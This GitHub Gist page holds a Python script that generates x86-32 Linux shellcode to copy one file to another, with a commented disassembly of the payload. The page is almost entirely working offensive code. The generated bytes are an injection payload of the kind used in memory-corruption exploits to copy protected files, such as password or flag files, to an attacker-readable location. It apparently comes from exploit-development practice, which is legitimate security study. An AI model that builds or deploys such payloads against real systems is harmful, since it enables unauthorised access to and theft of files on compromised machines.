Last active
September 30, 2015 11:51
-
-
Save numberten/bc55ce0dbc4150761ca8 to your computer and use it in GitHub Desktop.
A python script for generating shellcode that copies argv[1] to argv[2].
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/python | |
| import sys | |
| """ | |
| Takes an absolute path and generates x86-32 shellcode for copying the file | |
| at that location to /tmp/outfile | |
| """ | |
| if len(sys.argv) != 3: | |
| print "Usage: " + sys.argv[0] + " <src> <dst>" | |
| sys.exit(0) | |
| start = "\\x31\\xc0\\xb0\\x05\\x31\\xc9\\x51" | |
| middle = "\\x8d\\x5c\\x24\\x01\\xcd\\x80\\x89\\xc3\\xb0\\x03\\x89\\xe7\\x89\\xf9\\x31\\xd2\\x4a\\xc1\\xea\\x10\\xcd\\x80\\x89\\xc6\\x6a\\x05\\x58\\x31\\xc9\\x51" | |
| end = "\\x89\\xe3\\xb1\\x42\\x66\\x68\\xa4\\x01\\x5a\\xcd\\x80\\x89\\xc3\\x6a\\x04\\x58\\x89\\xf9\\x89\\xf2\\xcd\\x80\\x31\\xc0\\x31\\xdb\\xb0\\x01\\xb3\\x05\\xcd\\x80" | |
| def gen_string(path): | |
| padding= '/' * ((4 - (len(path) % 4)) % 4) | |
| path = padding + path | |
| chunks = ['h'+path[i:i+4] for i in range(0, len(path), 4)][::-1] | |
| hex_chunks = map(lambda x: '\\x'+str(format(ord(x),"x")),''.join(chunks)) | |
| return ''.join(hex_chunks) | |
| src = gen_string(sys.argv[1]) | |
| dst = gen_string(sys.argv[2]) | |
| shellcode = start + src + middle + dst + end | |
| print "Shellcode length: "+str(len(shellcode)/4) | |
| print "Shellcode: "+shellcode | |
| """ | |
| Assembly: | |
| 31 c0 xor %eax,%eax | |
| b0 05 mov $0x5,%al | |
| 31 c9 xor %ecx,%ecx | |
| 51 push %ecx | |
| // push source | |
| 8d 5c 24 01 lea 0x1(%esp),%ebx | |
| cd 80 int $0x80 | |
| 89 c3 mov %eax,%ebx | |
| b0 03 mov $0x3,%al | |
| 89 e7 mov %esp,%edi | |
| 89 f9 mov %edi,%ecx | |
| 31 d2 xor %edx,%edx | |
| 4a dec %edx | |
| c1 ea 10 shr $0x10,%edx | |
| cd 80 int $0x80 | |
| 89 c6 mov %eax,%esi | |
| 6a 05 push $0x5 | |
| 58 pop %eax | |
| 31 c9 xor %ecx,%ecx | |
| 51 push %ecx | |
| // push destination | |
| 89 e3 mov %esp,%ebx | |
| b1 42 mov $0x42,%cl | |
| 66 68 a4 01 pushw $0x1a4 | |
| 5a pop %edx | |
| cd 80 int $0x80 | |
| 89 c3 mov %eax,%ebx | |
| 6a 04 push $0x4 | |
| 58 pop %eax | |
| 89 f9 mov %edi,%ecx | |
| 89 f2 mov %esi,%edx | |
| cd 80 int $0x80 | |
| 31 c0 xor %eax,%eax | |
| 31 db xor %ebx,%ebx | |
| b0 01 mov $0x1,%al | |
| b3 05 mov $0x5,%bl | |
| cd 80 int $0x80 | |
| """ |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment